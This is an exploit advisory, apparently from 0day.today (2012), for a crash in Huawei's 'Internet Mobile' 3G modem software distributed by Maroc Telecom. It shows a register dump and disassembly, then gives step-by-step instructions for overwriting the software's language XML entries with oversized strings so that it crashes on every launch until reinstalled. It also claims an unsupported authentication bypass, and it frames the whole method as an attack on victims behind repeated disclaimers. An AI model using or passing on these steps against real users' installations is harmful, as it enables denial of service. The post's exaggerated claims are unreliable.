Maroc Telecom (HUAWEI Technologies) Exception handling

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         [0day Exploits]  Allah , Alwatan , Almalik .[0day Exploits]
HIGH RISK EXPLOIT .

USE THIS EXPLOIT AT YOUR OWN RISK I'M NOT RESPONSIBLE OF ANY HARM .
USE THIS EXPLOIT AT YOUR OWN RISK I'M NOT RESPONSIBLE OF ANY HARM .
USE THIS EXPLOIT AT YOUR OWN RISK I'M NOT RESPONSIBLE OF ANY HARM .

#Exploit name : Internet Mobile - Maroc Telecom (HUAWEI Technologies) Exception handling vulnerability 
#Author : Dark-Puzzle ([email protected])
#Type : Remote .
#Risk : High
#Vulnerable Version : 11.302.09.05.162 (Other Versions [If Available] May Also Be Vulnerable)
#Software Vendor : HUAWEI Technologies & Maroc Telecom . 
#Software Link : Software is Installed Via The 3G connection modem.
#Date : 28 June 2012 .

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Exploit :
The Program Was Enabled To process the Exception .
The Exception is an access Violation to EAX by Flooding the CX in the ECX Register.

[Imp Registers] :

EAX 00190000 ASCII "Actx"
ECX 00000041


[Exception Handling In Main Thread] 
Disassembly :
          
TEST ECX,ECX
JE SHORT COMCTL32.720AB00B         
MOVZX ECX,WORD PTR DS:[EDX+EAX]
TEST CX,CX
JE SHORT COMCTL32.720AB00B
MOV WORD PTR DS:[EAX],CX <<----- Access Violation = Exception Handling Vulnerability .
INC EAX
INC EAX
DEC ESI
JNZ SHORT COMCTL32.720AAFF3 

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Risks :  HIGH

The program is crashed when Executing it . ( Double click , the interface is shown up, charging boutton is up then Boom Crash ) . 

This exploit in the HUAWEI Modem is concidered a high one beacause the Attacker can edit the XML and lang files reffering to direct DLLs .
Which can cause in most of the times an edit of sensitive Lines. So , the attacker can have the privileges to bypass the program Authetification or to use the exception handling to DoS the users program until it's reinstalled (Not Restarded) . A normal user can't know the source of the crash problem which is related to the XML files . Nobody search or read in these files most of the times .
Then he will stay without Internet connection for a no short period of time , until reinstalling the program or contacting the vendor .
 
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How To Exploit : (USE IT AT YOUR OWN RISK , Je ne suis pas responsable de ce qui est fait par cette vulnerabilité) I'm not responsible of any harm .

Go to ----> C:\Progam Files\Internet Mobile\plugins\SMSUIPlugin (FOR Example)
Now open the lang files ---> French And English . SMSUIPlugin_fr-fr and SMSUIPlugin_en-us  
Replace the line : 
<item name="IDS_PLUGIN_NAME">Texte</item> and 

<item name="IDS_PLUGIN_MENUITEM">Message &Texte</item> and this one 

<item name="IDS_TREE_DINBOX">Boite de réception</item>  Same Names just in english instead french

-------------------------------------------

Replace them with that (for example) :

This : <item name="IDS_PLUGIN_NAME">Texte</item>

Will become This : <item name="IDS_PLUGIN_NAME"> Very Very Very Huge Number Of AAA or whatever </item>

and the same thing for the other lines shown before . This will make the program Crash when it's opened .

The victim will be not able to run the software again until it's reinstalled .

A script will be soon available to replace automatically the Lang files . ( PoC )

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Dark-Puzzle (Souhail) .
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Greetz to : M.C.A , Team-Hunter , [email protected] , All Inj3ct0r team Members , Packetstromsecurity.org , Ar-Devlopers....
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Pentesting is my LIFE .
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GREY HAT Mercy From M0rocC0 .



#  0day.today [2018-04-10]  #